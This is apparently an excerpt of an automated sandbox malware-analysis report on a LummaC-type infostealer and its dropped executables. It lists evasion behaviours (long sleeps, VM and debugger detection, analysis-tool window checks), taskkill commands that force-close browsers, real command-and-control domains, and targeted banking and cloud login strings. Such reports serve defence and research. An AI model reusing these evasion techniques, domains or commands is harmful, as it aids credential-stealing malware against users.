Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe Code function: 3_2_04D80D56 rdtsc 3_2_04D80D56
Contains long sleeps (>= 3 min)
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread delayed: delay time: 180000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window / User API: threadDelayed 1792 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window / User API: threadDelayed 1524 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window / User API: threadDelayed 1457 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Window / User API: threadDelayed 477
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Window / User API: threadDelayed 712
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\Desktop\file.exe TID: 5448 Thread sleep time: -270000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2528 Thread sleep count: 48 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2528 Thread sleep time: -96048s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2632 Thread sleep count: 52 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2632 Thread sleep time: -104052s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5588 Thread sleep count: 343 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5588 Thread sleep time: -10290000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5224 Thread sleep count: 1792 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5224 Thread sleep time: -3585792s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3908 Thread sleep count: 57 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3908 Thread sleep time: -114057s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5980 Thread sleep count: 1524 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5980 Thread sleep time: -3049524s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4896 Thread sleep count: 1457 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4896 Thread sleep time: -2915457s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1672 Thread sleep time: -360000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe TID: 4140 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe TID: 1540 Thread sleep time: -30000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe TID: 5904 Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe TID: 7036 Thread sleep time: -30000s >= -30000s
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Source: C:\Users\user\Desktop\file.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread delayed: delay time: 30000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread delayed: delay time: 180000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: file.exe, 00000000.00000003.2199963205.000000000542D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: 0KH83O2UU7K66U0BZXMNJ98MCWGN.exe, 0KH83O2UU7K66U0BZXMNJ98MCWGN.exe, 00000003.00000002.2391461574.00000000005D4000.00000040.00000001.01000000.00000006.sdmp, 5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe, 5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe, 00000004.00000002.2449006070.0000000000FB3000.00000040.00000001.01000000.00000008.sdmp, A77BGJTTW6SX9ESX.exe, 00000006.00000002.2555426846.0000000000B22000.00000040.00000001.01000000.0000000B.sdmp, dbec6bb1cf.exe, dbec6bb1cf.exe, 00000009.00000002.2533713122.000000000067E000.00000040.00000001.01000000.0000000F.sdmp, de379087e7.exe, 0000000A.00000002.2602343800.0000000000B23000.00000040.00000001.01000000.00000010.sdmp, dbec6bb1cf.exe, 0000000B.00000002.2665372701.000000000067E000.00000040.00000001.01000000.0000000F.sdmp, skotes.exe, 0000000C.00000002.2674283092.0000000000924000.00000040.00000001.01000000.0000000A.sdmp Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000003.2199963205.000000000542D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: secure.bankofamerica.comVMware20,11696487552|UE
Source: file.exe, 00000000.00000003.2199963205.000000000542D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: file.exe, 00000000.00000003.2199963205.000000000542D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: discord.comVMware20,11696487552f
Source: firefox.exe, 0000001A.00000002.2802302794.0000014D46A06000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: file.exe, 00000000.00000003.2199963205.000000000542D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: file.exe, 00000000.00000003.2199963205.000000000542D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: file.exe, 00000000.00000003.2199963205.000000000542D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: 5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe, 00000004.00000002.2448396958.0000000000967000.00000004.00000020.00020000.00000000.sdmp, 5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe, 00000004.00000002.2448396958.0000000000938000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000002.2535164435.0000000000FEE000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000002.2535164435.0000000001076000.00000004.00000020.00020000.00000000.sdmp, de379087e7.exe, 0000000A.00000002.2603348897.00000000014A8000.00000004.00000020.00020000.00000000.sdmp, de379087e7.exe, 0000000A.00000002.2603348897.0000000001476000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2656145755.00000000011D1000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000002.2667896766.00000000011D1000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000002.2667416016.000000000115B000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2802302794.0000014D469D0000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: firefox.exe, 0000001A.00000002.2804563025.0000014D506AF000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW : 2 : 34 : 1 : 1 : 0x20026 : 0x8 : %SystemRoot%\system32\mswsock.dll : : 1234191b-4bf7-4ca7-86e0-dfd7c32b5445
Source: file.exe, 00000000.00000003.2199963205.000000000542D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: file.exe, 00000000.00000003.2199963205.000000000542D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: file.exe, 00000000.00000003.2199963205.000000000542D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: global block list test formVMware20,11696487552
Source: file.exe, 00000000.00000003.2199963205.000000000542D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: tasks.office.comVMware20,11696487552o
Source: file.exe, 00000000.00000003.2199836309.000000000543A000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: - GDCDYNVMware20,11696487552p
Source: firefox.exe, 0000001A.00000002.2802302794.0000014D46A06000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dlll
Source: firefox.exe, 0000001A.00000002.2802302794.0000014D469D0000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000003.2199963205.000000000542D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: AMC password management pageVMware20,11696487552
Source: file.exe, 00000000.00000003.2199963205.000000000542D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: file.exe, 00000000.00000003.2199963205.000000000542D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: file.exe, 00000000.00000003.2199963205.000000000542D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: dev.azure.comVMware20,11696487552j
Source: file.exe, 00000000.00000003.2199963205.000000000542D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: file.exe, 00000000.00000003.2199963205.000000000542D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: 5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe, 00000004.00000002.2448396958.00000000008EE000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: VMwareVMware;9[J
Source: file.exe, 00000000.00000003.2199963205.000000000542D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: file.exe, 00000000.00000003.2199963205.000000000542D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: file.exe, 00000000.00000003.2199963205.000000000542D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: file.exe, 00000000.00000003.2199963205.000000000542D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: file.exe, 00000000.00000003.2199963205.000000000542D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: file.exe, 00000000.00000003.2199963205.000000000542D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: de379087e7.exe, 0000000A.00000002.2603348897.000000000142E000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000003.2199963205.000000000542D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: file.exe, 00000000.00000003.2199963205.000000000542D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: file.exe, 00000000.00000003.2199963205.000000000542D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: outlook.office.comVMware20,11696487552s
Source: file.exe, 00000000.00000003.2199963205.000000000542D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: file.exe, 00000000.00000003.2199963205.000000000542D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: file.exe, 00000000.00000003.2199963205.000000000542D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: dbec6bb1cf.exe, 0000000B.00000003.2656145755.00000000011D1000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000002.2667896766.00000000011D1000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWL
Source: 0KH83O2UU7K66U0BZXMNJ98MCWGN.exe, 00000003.00000002.2391461574.00000000005D4000.00000040.00000001.01000000.00000006.sdmp, 5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe, 00000004.00000002.2449006070.0000000000FB3000.00000040.00000001.01000000.00000008.sdmp, A77BGJTTW6SX9ESX.exe, 00000006.00000002.2555426846.0000000000B22000.00000040.00000001.01000000.0000000B.sdmp, dbec6bb1cf.exe, 00000009.00000002.2533713122.000000000067E000.00000040.00000001.01000000.0000000F.sdmp, de379087e7.exe, 0000000A.00000002.2602343800.0000000000B23000.00000040.00000001.01000000.00000010.sdmp, dbec6bb1cf.exe, 0000000B.00000002.2665372701.000000000067E000.00000040.00000001.01000000.0000000F.sdmp, skotes.exe, 0000000C.00000002.2674283092.0000000000924000.00000040.00000001.01000000.0000000A.sdmp Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000000.00000003.2199963205.000000000542D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: file.exe, 00000000.00000003.2199963205.000000000542D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552
Source: C:\Users\user\Desktop\file.exe System information queried: ModuleInformation Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information queried: ProcessInformation Jump to behavior

Anti Debugging
barindex
Hides threads from debuggers
Source: C:\Users\user\Desktop\file.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Thread information set: HideFromDebugger
Potentially malicious time measurement code found
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe Code function: 6_2_00B60EC1 Start: 00B60EC9 End: 00B60ECD 6_2_00B60EC1
Tries to detect sandboxes and other dynamic analysis tools (window names)
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Open window title or class name: file monitor - sysinternals: www.sysinternals.com
Checks for debuggers (devices)
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe File opened: SIWVID
Checks if the current process is being debugged
Source: C:\Users\user\Desktop\file.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Process queried: DebugPort
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe Code function: 3_2_04D80D56 rdtsc 3_2_04D80D56
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe Code function: 6_2_0099B7AE LdrInitializeThunk, 6_2_0099B7AE
Enables debug privileges
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe Memory protected: page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
Yara detected Powershell download and execute
Source: Yara match File source: Process Memory Space: 5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe PID: 1208, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: de379087e7.exe PID: 4016, type: MEMORYSTR
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe, type: DROPPED
Source: Yara match File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe, type: DROPPED
Excessive usage of taskkill to terminate processes
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
LummaC encrypted strings found
Source: file.exe, 00000000.00000003.2141220939.00000000047C0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: clearancek.site
Source: file.exe, 00000000.00000003.2141220939.00000000047C0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: licendfilteo.site
Source: file.exe, 00000000.00000003.2141220939.00000000047C0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: spirittunek.store
Source: file.exe, 00000000.00000003.2141220939.00000000047C0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: bathdoomgaz.store
Source: file.exe, 00000000.00000003.2141220939.00000000047C0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: studennotediw.store
Source: file.exe, 00000000.00000003.2141220939.00000000047C0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: dissapoiznw.store
Source: file.exe, 00000000.00000003.2141220939.00000000047C0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: eaglepawnoy.store
Source: file.exe, 00000000.00000003.2141220939.00000000047C0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: mobbipenju.store
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe "C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe "C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe "C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T Jump to behavior
Uses taskkill to terminate processes
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
